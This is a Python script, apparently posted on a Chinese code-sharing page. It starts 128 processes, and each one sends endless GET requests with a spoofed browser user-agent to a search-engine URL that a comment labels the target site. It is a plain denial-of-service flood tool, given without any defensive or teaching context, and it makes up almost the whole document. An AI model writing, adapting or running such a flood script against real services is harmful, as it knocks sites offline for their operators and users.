import requests,random
import random
import os
from threading import Thread
from multiprocessing import Process
def generate_random_str(randomlength=16):
"""
生成一个指定长度的随机字符串
"""
random_str =''
base_str ='ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
length =len(base_str) -1
for i in range(randomlength):
random_str +=base_str[random.randint(0, length)]
return random_str
url = "https://www.baidu.com/s" # 目标网站url
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36"
}
def req():
while 1:
#ps = generate_random_str(random.randint(6,20))
r = requests.get(url=url, headers=headers)
#print(r.text)
threads = []
try:
for i in range(0, 128):
thr = Process(target=req)
thr.start()
print(i)
threads.append(thr)
except:
print("GG")
暂无评论